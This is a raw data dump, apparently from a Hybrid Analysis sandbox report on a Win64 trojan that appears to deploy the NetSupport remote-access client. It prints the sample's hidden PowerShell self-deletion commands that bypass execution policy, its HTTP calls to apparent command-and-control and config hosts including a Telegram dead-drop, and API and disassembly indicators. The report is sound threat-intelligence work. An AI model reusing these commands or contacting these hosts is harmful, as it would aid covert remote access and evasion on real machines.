24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 8b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T50a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win64/Agent_AGeneric.KUB trojan Sample 8099e85c4aa0… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 8099e85c4aa0…. Malware family: Win64/Agent_AGeneric.KUB trojan. Threat score 100/100. 1/27 AV engines flagged this file. 8 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2","keywords":["Malicious","Win64/Agent_AGeneric.KUB trojan","malware analysis","sandbox report","threat intelligence","8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2"],"about":{"@type":"SoftwareApplication","name":"8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win64/Agent_AGeneric.KUB trojan","antivirusDetections":{"malicious":1,"total":27},"behavioralIndicators":{"malicious":8,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T1449,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00000760.00000000.90630.05EE0000.00000004.mdmp, 00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000001.92551.203A0000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.203A0000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00000760.00000000.90630.05EE0000.00000004.mdmp, 00000000-00000760.00000001.92551.203A0000.00000004.mdmp, 00000000-00000760.00000002.94470.203A0000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00000760.00000001.92551.203A0000.00000004.mdmp, 00000000-00000760.00000002.94470.203A0000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" (Source: "00000000-00000760.00000001.92551.20610000.00000004.mdmp, 00000000-00000760.00000002.94470.20610000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp") Found string "??\C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000000.88610.BA340000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp, 00000000-00003964.00000001.88837.D2560000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "System.Management.Automation.resources, Version=3.0.0.0, Culture=en-US, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "# .ExternalHelp System.Management.Automation.dll-help.xml" (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "[System.Management.Automation.PSCredential]" (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('New-Item', [System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Out-String',[System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput($inputScript, $cursorColumn," (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "[System.Management.Automation.Language.Ast] $ast," (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "[System.Management.Automation.Language.Token[]] $tokens," (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "[System.Management.Automation.Language.IScriptPosition] $positionOfCursor," (Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp")26:Ta19,Found string "Start-Sleep -Seconds 7200;Remove-Item -Force -LiteralPath 'C:\Users\HAPUBWS\AppData\Local\Temp\universal-deployer\20260223_212841\agent.exe'" (Indicator: "Remove-Item"; File: "AMSI") Found string "Start-Sleep -Seconds 7200; Remove-Item -Force -LiteralPath 'C:\8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin.exe'" (Indicator: "Remove-Item"; File: "AMSI") Found string "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -Seconds 7200;Remove-Item -Force -LiteralPath '%TEMP%\universal-deployer\20260223_212841\agent.exe'"" (Indicator: "Remove-Item"; File: "powershell.exe") Found string "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -Seconds 7200; Remove-Item -Force -LiteralPath 'C:\8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin.exe'"" (Indicator: "Remove-Item"; File: "powershell.exe") Found string ""powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -Seconds 7200;Remove-Item -Force -LiteralPath 'C:\Users\HAPUBWS\AppData\Local\Temp\universal-deployer\20260223_212841\agent.exe'"" (Indicator: "Remove-Item"; Source: "00000000-00000760.00000000.90630.05EE0000.00000004.mdmp, 00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp") Found string "Start-Sleep -Seconds 7200;Remove-Item -Force -LiteralPath 'C:\Users\HAPUBWS\AppData\Local\Temp\universal-deployer\20260223_212841\agent.exe'" (Indicator: "Remove-Item"; Source: "00000000-00000760.00000000.90630.05EE0000.00000004.mdmp, 00000000-00000760.00000000.90630.06190000.00000004.mdmp, 00000000-00000760.00000000.90630.06230000.00000004.mdmp, 00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000001.92551.06230000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.06230000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command Start-Sleep -Seconds 7200;Remove-Item -Force -LiteralPath 'C:\Users\HAPUBWS\AppData\Local\Temp\universal-deployer\20260223_212841\agent.exe'" (Indicator: "Remove-Item"; Source: "00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000001.92551.20610000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.20610000.00000004.mdmp") Found string "Remove-Item" (Indicator: "Remove-Item"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp")27:Ta19,Found string "Start-Sleep -Seconds 7200;Remove-Item -Force -LiteralPath 'C:\Users\HAPUBWS\AppData\Local\Temp\universal-deployer\20260223_212841\agent.exe'" (Indicator: "Start-Sleep"; File: "AMSI") Found string "Start-Sleep -Seconds 7200; Remove-Item -Force -LiteralPath 'C:\8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin.exe'" (Indicator: "Start-Sleep"; File: "AMSI") Found string "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -Seconds 7200;Remove-Item -Force -LiteralPath '%TEMP%\universal-deployer\20260223_212841\agent.exe'"" (Indicator: "Start-Sleep"; File: "powershell.exe") Found string "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -Seconds 7200; Remove-Item -Force -LiteralPath 'C:\8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin.exe'"" (Indicator: "Start-Sleep"; File: "powershell.exe") Found string ""powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -Seconds 7200;Remove-Item -Force -LiteralPath 'C:\Users\HAPUBWS\AppData\Local\Temp\universal-deployer\20260223_212841\agent.exe'"" (Indicator: "Start-Sleep"; Source: "00000000-00000760.00000000.90630.05EE0000.00000004.mdmp, 00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp") Found string "Start-Sleep -Seconds 7200;Remove-Item -Force -LiteralPath 'C:\Users\HAPUBWS\AppData\Local\Temp\universal-deployer\20260223_212841\agent.exe'" (Indicator: "Start-Sleep"; Source: "00000000-00000760.00000000.90630.05EE0000.00000004.mdmp, 00000000-00000760.00000000.90630.06190000.00000004.mdmp, 00000000-00000760.00000000.90630.06230000.00000004.mdmp, 00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000001.92551.06230000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.06230000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command Start-Sleep -Seconds 7200;Remove-Item -Force -LiteralPath 'C:\Users\HAPUBWS\AppData\Local\Temp\universal-deployer\20260223_212841\agent.exe'" (Indicator: "Start-Sleep"; Source: "00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000001.92551.20610000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.20610000.00000004.mdmp") Found string "Start-Sleep" (Indicator: "Start-Sleep"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp")28:T808,Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp")29:T478,Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp")2a:T507,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp")2b:T443,file/memory contains long string with (Indicator: "SHA384"; File: "client32.exe") file/memory contains long string with (Indicator: "SHA384"; File: "remcmdstub.exe") file/memory contains long string with (Indicator: "SHA384"; File: "pcicapi.dll") file/memory contains long string with (Indicator: "Oid"; File: "TCCTL32.DLL") file/memory contains long string with (Indicator: "SHA384"; File: "PCICHEK.DLL") file/memory contains long string with (Indicator: "RC2"; File: "SSL") file/memory contains long string with (Indicator: "Oid"; File: "SSL") file/memory contains long string with (Indicator: "Aes"; File: "SSL") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00007612-00000BC0-364553649") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00000760.00000001.92551.203A0000.00000004.mdmp, 00000000-00000760.00000002.94470.203A0000.00000004.mdmp") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00003964.00000000.88610.D2560000.00000004.mdmp, 00000000-00003964.00000001.88837.D2581000.00000004.mdmp")2c:T9eb," HTTP/1.1 200 OK Server: nginx Date: Mon 23 Feb 2026 21:25:15 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store with response body ==>7B226F7470223A226162623461373865346561356230353138613337313631356563363266373965222C22657870697265735F696E223A36307D....... "GET /api/deployer-config.php?otp=abb4a78e4ea5b0518a371615ec62f79e HTTP/1.1 accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 host: jbactors.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 23 Feb 2026 21:25:15 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store with response body ==>7B0A2020226E616D65223A2022526566756E645F7632222C0A20202276657273696F6E223A2022312E302E30222C0A202022726571756972655F61646D696E22....... "GET / HTTP/1.1 accept: */* host: api.ipify.org" Response ==> HTTP/1.1 200 OK Date: Mon 23 Feb 2026 21:25:35 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Server: cloudflare Vary: Origin cf-cache-status: DYNAMIC CF-RAY: 9d29cbf169a0dc3c-SJC with response body ==>36342E3132342E31322E313632....... "GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 23 Feb 2026 21:25:53 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Server: cloudflare Set-Cookie: ASPSESSIONIDACCDQRRD=DLDHJCGCLLLAAAOFNGOCAELE; path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Accept-Encoding Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=sKkUV%2F0JE0Bnoy7Yq9FqxHAaaGkxLAbU0K5Ztl0QIofn3SumwW6sZyaTidtip2tt2JpY8NKaA4%2F1W6dCA1o9GSZqDrrvkO2M0RjW8zhA7wtQTrasfG%2BSQh4%3D"}]} X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Powered-By: ASP.NET cf-apo-via: origin host CF-RAY: 9d29cc5c4898483d-SJC with response body ==>34352E353031392C2D37332E35363734....... "GET /pr55ii HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon 23 Feb 2026 21:26:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12344 Connection: keep-alive Set-Cookie: stel_ssid=8bed1ea88eef221248_3427978371695348827; expires=Tue 24 Feb 2026 21:26:15 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: gor.cardiffphysio.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Mon 23 Feb 2026 21:26:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Aww731pw0o9AA6b2S4EyiCRa5I24kFbWwyJLNtzHAKjHXdlt7kpmxD4nozgWrHF9e9y22Khh6O6JCxaLPzI4q4L1DG%2FCij%2FhSu9s8XQDEeCEGnBXMQ%3D%3D"}]} CF-RAY: 9d29ccef0f1b1321-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B.......4d:T69dd," pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp")50:T757,"powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\PROGID") "client32.exe" touched "ActiveDesktop" (Path: "HKCU\WOW6432NODE\CLSID\{75048700-EF1F-11D0-9888-006097DEACF9}") "client32.exe" touched "HNetCfg.FwMgr" (Path: "HKCU\WOW6432NODE\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}\TREATAS") "client32.exe" touched "HNetCfg.FwPolicy2" (Path: "HKCU\WOW6432NODE\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}\TREATAS") "client32.exe" touched "HNetCfg.FwRule" (Path: "HKCU\WOW6432NODE\CLSID\{2C5BC43E-3369-4C33-AB0C-BE9469677AF4}\TREATAS") "tasklist.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS")51:T4ad,"8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" has an writable section named ".data" "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" has an writable section named ".bss" "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" has an writable section named ".idata" "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" has an writable section named ".CRT" "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" has an writable section named ".tls" "htctl32.dll" has an writable section named ".data" "Volumeid.exe" has an writable section named ".data" "Desktops.exe" has an writable section named ".data" "Volumeid64.exe" has an writable section named ".data" "vcruntime140.dll" has an writable section named ".data" "remcmdstub.exe" has an writable section named ".data" "pcicapi.dll" has an writable section named ".data" "PCICL32.DLL" has an writable section named ".data" "PCICL32.DLL" has an writable section named ".tls" "PCICL32.DLL" has an writable section named ".hhshare" "TCCTL32.DLL" has an writable section named ".data" "PCICHEK.DLL" has an writable section named ".data"52:T1cde,"8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" file has an entrypoint instructions - "push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x1b8281],mov dword ptr [rax], 1,call 0x140001190,nop ,nop ,add rsp, 0x20,pop rbp,ret ,nop word ptr cs:[rax + rax],nop dword ptr [rax],push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x1b8251],mov dword ptr [rax], 0,call 0x140001190,nop ,nop ,add rsp, 0x20,pop rbp,ret ,nop word ptr cs:[rax + rax],nop dword ptr [rax],push rbp,mov rbp, rsp," "htctl32.dll" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x101d5ac6,call 0x101df25d,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x101d59c0,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,push 0x101f33b8,call dword ptr [0x101f01c0],test eax, eax,je 0x101d5b02,push 0x101f33a8,push eax,call dword ptr [0x101f0088],test eax, eax,je 0x101d5b02,push dword ptr [ebp + 8],call eax,pop ebp,ret ,mov edi, edi,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x101d5ad9,pop ecx,push dword ptr [ebp + 8]," "Volumeid.exe" file has an entrypoint instructions - "call 0x411371,jmp 0x405d8f,push 0x10,push 0x431cd0,call 0x406d40,xor edi, edi,mov dword ptr [ebp - 0x1c], edi,push 1,call 0x405ff7,pop ecx,and dword ptr [ebp - 4], edi,push 3,pop esi,mov dword ptr [ebp - 0x20], esi,cmp esi, dword ptr 